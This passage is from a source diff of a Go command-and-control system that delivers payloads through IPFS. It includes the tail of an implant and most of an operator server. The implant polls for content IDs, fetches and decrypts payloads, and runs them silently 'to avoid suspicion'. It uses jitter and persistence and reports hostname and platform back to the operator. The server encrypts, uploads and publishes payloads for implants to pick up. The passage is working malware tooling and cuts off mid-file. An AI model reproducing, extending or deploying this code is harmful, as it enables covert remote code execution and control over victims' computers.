data, err := ipfs.Download(cid, im.config.Gateways)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("IPFS download failed: %w", err)
|
||||||
|
}
|
||||||
|
log.Printf("Downloaded %d bytes from IPFS", len(data))
|
||||||
|
|
||||||
|
// 2. Verify content addressing
|
||||||
|
if err := ipfs.VerifyCID(data, cid); err != nil {
|
||||||
|
return fmt.Errorf("CID verification failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Decrypt
|
||||||
|
key := crypto.DeriveKey(im.config.DecryptionKey)
|
||||||
|
// Try hex key first; fall back to derived key
|
||||||
|
var plaintext []byte
|
||||||
|
var decErr error
|
||||||
|
|
||||||
|
if len(im.config.DecryptionKey) == 64 {
|
||||||
|
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
|
||||||
|
plaintext, decErr = crypto.Decrypt(data, keyBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if plaintext == nil {
|
||||||
|
plaintext, decErr = crypto.Decrypt(data, key)
|
||||||
|
}
|
||||||
|
if decErr != nil {
|
||||||
|
return fmt.Errorf("decryption failed: %w", decErr)
|
||||||
|
}
|
||||||
|
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
|
||||||
|
|
||||||
|
// 4. Save to temp file
|
||||||
|
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to save temp file: %w", err)
|
||||||
|
}
|
||||||
|
defer os.Remove(tmpFile)
|
||||||
|
|
||||||
|
// 5. Execute
|
||||||
|
cmd := exec.Command(tmpFile)
|
||||||
|
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
|
||||||
|
cmd.Stderr = nil
|
||||||
|
cmd.Stdin = nil
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return fmt.Errorf("execution failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
|
||||||
|
im.mu.Lock()
|
||||||
|
im.execCount++
|
||||||
|
im.lastCID = cid
|
||||||
|
im.lastFetchTime = time.Now()
|
||||||
|
im.mu.Unlock()
|
||||||
|
|
||||||
|
// 6. Report back (fire and forget)
|
||||||
|
go im.report(cid, true, "")
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// report sends execution status back to the operator.
|
||||||
|
func (im *Implant) report(cid string, success bool, errMsg string) {
|
||||||
|
if im.config.ReportURL == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
report := types.ImplantReport{
|
||||||
|
ImplantID: im.config.ImplantID,
|
||||||
|
CID: cid,
|
||||||
|
Success: success,
|
||||||
|
Error: errMsg,
|
||||||
|
Platform: runtime.GOOS + "/" + runtime.GOARCH,
|
||||||
|
Hostname: hostname,
|
||||||
|
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
|
||||||
|
data, _ := json.Marshal(report)
|
||||||
|
im.httpClient.Post(im.config.ReportURL, "application/json",
|
||||||
|
strings.NewReader(string(data)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// run starts the main polling loop with jitter.
|
||||||
|
func (im *Implant) run() {
|
||||||
|
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
|
||||||
|
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
|
||||||
|
log.Printf("CID source: %s", im.config.CIDSource)
|
||||||
|
if im.config.ReportURL != "" {
|
||||||
|
log.Printf("Report URL: %s", im.config.ReportURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initial poll
|
||||||
|
im.pollLoop()
|
||||||
|
|
||||||
|
// Start ticker with jitter
|
||||||
|
baseInterval := time.Duration(im.config.PollInterval) * time.Second
|
||||||
|
im.pollTicker = time.NewTicker(baseInterval)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-im.pollTicker.C:
|
||||||
|
im.pollLoop()
|
||||||
|
case <-im.stopCh:
|
||||||
|
log.Println("Implant shutting down...")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollLoop performs one poll cycle with jitter.
|
||||||
|
func (im *Implant) pollLoop() {
|
||||||
|
// Add jitter: ±20% of polling interval
|
||||||
|
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
|
||||||
|
if jitterRange < 1 {
|
||||||
|
jitterRange = 1
|
||||||
|
}
|
||||||
|
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
|
||||||
|
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
|
||||||
|
|
||||||
|
cid, err := im.poll()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Poll error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cid == "" {
|
||||||
|
return // No CID available yet
|
||||||
|
}
|
||||||
|
|
||||||
|
im.mu.RLock()
|
||||||
|
lastCID := im.lastCID
|
||||||
|
im.mu.RUnlock()
|
||||||
|
|
||||||
|
if cid == lastCID {
|
||||||
|
return // Same CID, nothing to do
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := im.processCID(cid); err != nil {
|
||||||
|
log.Printf("CID processing error: %v", err)
|
||||||
|
im.report(cid, false, err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveConfig persists the current state to a config file.
|
||||||
|
func (im *Implant) saveConfig(path string) error {
|
||||||
|
im.mu.RLock()
|
||||||
|
cfg := im.config
|
||||||
|
cfg.LastCID = im.lastCID
|
||||||
|
im.mu.RUnlock()
|
||||||
|
|
||||||
|
data, err := json.MarshalIndent(cfg, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(path, data, 0600)
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadConfig loads implant state from a config file.
|
||||||
|
func loadConfig(path string) (*types.Config, error) {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var cfg types.Config
|
||||||
|
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &cfg, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
|
||||||
|
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
|
||||||
|
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
|
||||||
|
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
|
||||||
|
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||||
|
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
|
||||||
|
reportURL = flag.String("report-url", "", "URL to POST execution reports")
|
||||||
|
configFile = flag.String("config", "", "Path to config file (for persistence)")
|
||||||
|
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
|
||||||
|
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if *cidSource == "" {
|
||||||
|
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
|
||||||
|
}
|
||||||
|
if *decryptionKey == "" {
|
||||||
|
log.Fatal("--decryption-key is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse gateways
|
||||||
|
var gwList []string
|
||||||
|
if *gateways != "" {
|
||||||
|
gwList = strings.Split(*gateways, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = rpcURL // used in mode B (contract)
|
||||||
|
|
||||||
|
// Build config
|
||||||
|
cfg := types.Config{
|
||||||
|
ImplantID: *implantID,
|
||||||
|
DecryptionKey: *decryptionKey,
|
||||||
|
PollInterval: *pollInterval,
|
||||||
|
CIDSource: *cidSource,
|
||||||
|
Mode: *mode,
|
||||||
|
Gateways: gwList,
|
||||||
|
ReportURL: *reportURL,
|
||||||
|
JWTFetch: *jwtFetch,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try loading from config file for persistence
|
||||||
|
if *configFile != "" {
|
||||||
|
savedCfg, err := loadConfig(*configFile)
|
||||||
|
if err == nil {
|
||||||
|
// Merge: CLI flags override config file
|
||||||
|
if *implantID == "" && savedCfg.ImplantID != "" {
|
||||||
|
cfg.ImplantID = savedCfg.ImplantID
|
||||||
|
}
|
||||||
|
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
|
||||||
|
cfg.DecryptionKey = savedCfg.DecryptionKey
|
||||||
|
}
|
||||||
|
if *cidSource == "" && savedCfg.CIDSource != "" {
|
||||||
|
cfg.CIDSource = savedCfg.CIDSource
|
||||||
|
}
|
||||||
|
if savedCfg.LastCID != "" {
|
||||||
|
cfg.LastCID = savedCfg.LastCID
|
||||||
|
}
|
||||||
|
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
|
||||||
|
cfg.Gateways = savedCfg.Gateways
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
implant := NewImplant(cfg)
|
||||||
|
|
||||||
|
// Periodically save config for persistence
|
||||||
|
if *configFile != "" {
|
||||||
|
go func() {
|
||||||
|
ticker := time.NewTicker(5 * time.Minute)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
if err := implant.saveConfig(*configFile); err != nil {
|
||||||
|
log.Printf("Failed to save config: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle signals
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-sigCh
|
||||||
|
log.Println("Received shutdown signal")
|
||||||
|
if *configFile != "" {
|
||||||
|
implant.saveConfig(*configFile)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
}()
|
||||||
|
|
||||||
|
implant.run()
|
||||||
|
}
|
||||||
505
c2s_ipfs_payloads/cmd/server/main.go
Normal file
505
c2s_ipfs_payloads/cmd/server/main.go
Normal file
|
|
@ -0,0 +1,505 @@
|
||||||
|
// Command server is the operator console for the C2 IPFS payload delivery system.
|
||||||
|
//
|
||||||
|
// MODE A — Simple HTTP CID Hub:
|
||||||
|
// Runs a lightweight HTTP server that serves new CIDs.
|
||||||
|
// Implants poll GET /cid for the current CID.
|
||||||
|
//
|
||||||
|
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
|
||||||
|
// Build with: go build -tags ethereum ./cmd/server
|
||||||
|
// Interacts with an Ethereum smart contract that emits NewCID events.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Server state.
|
||||||
|
type Server struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
currentCID string
|
||||||
|
history []types.CIDEntry
|
||||||
|
startTime time.Time
|
||||||
|
mode string // "http" or "contract"
|
||||||
|
ipfsClient *ipfs.Client
|
||||||
|
encKey []byte
|
||||||
|
config Config
|
||||||
|
|
||||||
|
// For contract mode
|
||||||
|
contractAddress string
|
||||||
|
rpcURL string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config holds server configuration flags.
|
||||||
|
type Config struct {
|
||||||
|
port int
|
||||||
|
username string
|
||||||
|
password string
|
||||||
|
jwtToken string
|
||||||
|
mode string
|
||||||
|
ipfsAPI string
|
||||||
|
pinataJWT string
|
||||||
|
encKeyHex string
|
||||||
|
contractAddr string
|
||||||
|
rpcURL string
|
||||||
|
maxHistory int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) addHistory(cid, note string) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
entry := types.CIDEntry{
|
||||||
|
CID: cid,
|
||||||
|
Timestamp: time.Now().UTC(),
|
||||||
|
Note: note,
|
||||||
|
}
|
||||||
|
s.history = append(s.history, entry)
|
||||||
|
if len(s.history) > s.config.maxHistory {
|
||||||
|
s.history = s.history[len(s.history)-s.config.maxHistory:]
|
||||||
|
}
|
||||||
|
s.currentCID = cid
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- HTTP Handlers (Mode A) ---
|
||||||
|
|
||||||
|
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
cid := s.currentCID
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
if cid == "" {
|
||||||
|
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
req.CID = strings.TrimSpace(req.CID)
|
||||||
|
if !ipfs.IsValidCID(req.CID) {
|
||||||
|
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s.addHistory(req.CID, req.Note)
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{
|
||||||
|
"status": "ok",
|
||||||
|
"cid": req.CID,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
history := make([]types.CIDEntry, len(s.history))
|
||||||
|
copy(history, s.history)
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
if history == nil {
|
||||||
|
w.Write([]byte("[]"))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
json.NewEncoder(w).Encode(history)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
cid := s.currentCID
|
||||||
|
history := make([]types.CIDEntry, len(s.history))
|
||||||
|
copy(history, s.history)
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
resp := types.StatusResponse{
|
||||||
|
CurrentCID: cid,
|
||||||
|
History: history,
|
||||||
|
Mode: s.mode,
|
||||||
|
Uptime: time.Since(s.startTime).Round(time.Second).String(),
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(resp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Operator Console ---
|
||||||
|
|
||||||
|
func (s *Server) runConsole() {
|
||||||
|
scanner := bufio.NewScanner(os.Stdin)
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("╔══════════════════════════════════════════╗")
|
||||||
|
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
|
||||||
|
fmt.Println("╚══════════════════════════════════════════╝")
|
||||||
|
fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
|
||||||
|
if s.mode == "http" {
|
||||||
|
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
|
||||||
|
}
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
||||||
|
fmt.Println(" cid <new-cid> — Manually set CID")
|
||||||
|
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
||||||
|
fmt.Println(" status — Show current state")
|
||||||
|
fmt.Println(" history — Show recent CID history")
|
||||||
|
fmt.Println(" genkey — Generate a new encryption key")
|
||||||
|
fmt.Println(" help — Show this help")
|
||||||
|
fmt.Println(" exit — Shutdown")
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
for {
|
||||||
|
fmt.Print("> ")
|
||||||
|
if !scanner.Scan() {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
cmd := parts[0]
|
||||||
|
|
||||||
|
switch cmd {
|
||||||
|
case "exit", "quit":
|
||||||
|
fmt.Println("Shutting down...")
|
||||||
|
os.Exit(0)
|
||||||
|
|
||||||
|
case "help":
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
||||||
|
fmt.Println(" cid <new-cid> — Manually set CID")
|
||||||
|
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
||||||
|
fmt.Println(" status — Show current state")
|
||||||
|
fmt.Println(" history — Show recent CID history")
|
||||||
|
fmt.Println(" genkey — Generate a new encryption key")
|
||||||
|
fmt.Println(" exit — Shutdown")
|
||||||
|
|
||||||
|
case "genkey":
|
||||||
|
key, err := crypto.GenerateKey()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error: %v\n", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fmt.Printf("New encryption key: %s\n", key)
|
||||||
|
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
|
||||||
|
fmt.Println("Share it with implants via --decryption-key")
|
||||||
|
|
||||||
|
case "status":
|
||||||
|
s.mu.RLock()
|
||||||
|
fmt.Printf("Current CID: %s\n", s.currentCID)
|
||||||
|
fmt.Printf("Mode: %s\n", s.mode)
|
||||||
|
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
|
||||||
|
fmt.Printf("History entries: %d\n", len(s.history))
|
||||||
|
fmt.Printf("Contract address: %s\n", s.contractAddress)
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
case "history":
|
||||||
|
s.mu.RLock()
|
||||||
|
if len(s.history) == 0 {
|
||||||
|
fmt.Println("No history.")
|
||||||
|
} else {
|
||||||
|
fmt.Println("Recent CIDs:")
|
||||||
|
for i, entry := range s.history {
|
||||||
|
note := entry.Note
|
||||||
|
if note == "" {
|
||||||
|
note = "(no note)"
|
||||||
|
}
|
||||||
|
fmt.Printf(" %d. %s [%s] %s\n",
|
||||||
|
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
case "cid":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: cid <cid>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
newCID := parts[1]
|
||||||
|
if !ipfs.IsValidCID(newCID) {
|
||||||
|
fmt.Println("Invalid CID format.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
note := ""
|
||||||
|
if len(parts) > 2 {
|
||||||
|
note = strings.Join(parts[2:], " ")
|
||||||
|
}
|
||||||
|
s.addHistory(newCID, note)
|
||||||
|
fmt.Printf("CID updated to: %s\n", newCID)
|
||||||
|
|
||||||
|
case "encrypt":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: encrypt <file>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filePath := parts[1]
|
||||||
|
s.cmdEncrypt(filePath)
|
||||||
|
|
||||||
|
case "deploy":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: deploy <payload>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filePath := parts[1]
|
||||||
|
s.cmdDeploy(filePath)
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) cmdEncrypt(filePath string) {
|
||||||
|
data, err := os.ReadFile(filePath)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error reading file: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
encrypted, err := crypto.Encrypt(data, s.encKey)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error encrypting: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extract filename without path
|
||||||
|
fileName := filePath
|
||||||
|
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
||||||
|
fileName = filePath[idx+1:]
|
||||||
|
}
|
||||||
|
encName := fileName + ".enc"
|
||||||
|
|
||||||
|
// Upload to IPFS
|
||||||
|
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
|
||||||
|
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("IPFS upload failed: %v\n", err)
|
||||||
|
fmt.Println("Encrypted file saved locally as:", encName)
|
||||||
|
os.WriteFile(encName, encrypted, 0644)
|
||||||
|
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
|
||||||
|
fmt.Printf("Local copy: %s\n", encName)
|
||||||
|
os.WriteFile(encName, encrypted, 0644)
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("To deploy, run: cid", resp.CID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) cmdDeploy(filePath string) {
|
||||||
|
data, err := os.ReadFile(filePath)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error reading payload: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
encrypted, err := crypto.Encrypt(data, s.encKey)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error encrypting payload: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fileName := filePath
|
||||||
|
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
||||||
|
fileName = filePath[idx+1:]
|
||||||
|
}
|
||||||
|
encName := fileName + ".enc"
|
||||||
|
|
||||||
|
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
|
||||||
|
fmt.Println("Uploading to IPFS...")
|
||||||
|
|
||||||
|
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("IPFS upload failed: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s.addHistory(resp.CID, "deploy: "+fileName)
|
||||||
|
|
||||||
|
fmt.Printf("✅ Deployed!\n")
|
||||||
|
fmt.Printf(" Payload: %s\n", filePath)
|
||||||
|
fmt.Printf(" Encrypted: %s\n", encName)
|
||||||
|
fmt.Printf(" IPFS CID: %s\n", resp.CID)
|
||||||
|
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
||||||
|
|
||||||
|
if s.mode == "contract" {
|
||||||
|
if s.contractAddress != "" {
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("To send CID to contract:")
|
||||||
|
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
|
||||||
|
fmt.Println("(Requires --rpc-url and go-ethereum build)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- HTTP Server ---
|
||||||
|
|
||||||
|
func (s *Server) startHTTPServer() {
|
||||||
|
if s.mode != "http" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
mux := http.NewServeMux()
|
||||||
|
|
||||||
|
// Apply auth middleware based on config
|
||||||
|
var getCIDHandler http.HandlerFunc = s.handleGetCID
|
||||||
|
var postCIDHandler http.HandlerFunc = s.handlePostCID
|
||||||
|
var historyHandler http.HandlerFunc = s.handleHistory
|
||||||
|
var statusHandler http.HandlerFunc = s.handleStatus
|
||||||
|
|
||||||
|
if s.config.jwtToken != "" {
|
||||||
|
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
|
||||||
|
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
|
||||||
|
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
|
||||||
|
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
|
||||||
|
} else {
|
||||||
|
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
|
||||||
|
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
|
||||||
|
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
|
||||||
|
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
|
||||||
|
}
|
||||||
|
|
||||||
|
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodGet:
|
||||||
|
getCIDHandler(w, r)
|
||||||
|
case http.MethodPost:
|
||||||
|
postCIDHandler(w, r)
|
||||||
|
default:
|
||||||
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
mux.HandleFunc("/history", historyHandler)
|
||||||
|
mux.HandleFunc("/status", statusHandler)
|
||||||
|
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
info := map[string]interface{}{
|
||||||
|
"service": "c2-ipfs-payload",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"mode": s.mode,
|
||||||
|
"auth": s.config.jwtToken != "" || s.config.username != "",
|
||||||
|
"endpoints": map[string]string{
|
||||||
|
"GET /cid": "Get current CID",
|
||||||
|
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
|
||||||
|
"GET /history": "Get recent CID history",
|
||||||
|
"GET /status": "Get server status",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
json.NewEncoder(w).Encode(info)
|
||||||
|
})
|
||||||
|
|
||||||
|
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
|
||||||
|
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
|
||||||
|
if err := http.ListenAndServe(addr, mux); err != nil {
|
||||||
|
log.Fatalf("Server failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// Flags
|
||||||
|
cfg := Config{}
|
||||||
|
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
|
||||||
|
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
|
||||||
|
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
|
||||||
|
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
|
||||||
|
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
|
||||||
|
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
|
||||||
|
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
|
||||||
|
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
|
||||||
|
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
|
||||||
|
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||||
|
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
// Encryption key
|
||||||
|
var encKey []byte
|
||||||
|
if cfg.encKeyHex != "" {
|
||||||
|
var err error
|
||||||
|
encKey, err = hex.DecodeString(cfg.encKeyHex)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Invalid encryption key hex: %v", err)
|
||||||
|
}
|
||||||
|
if len(encKey) != crypto.KeySize {
|
||||||
|
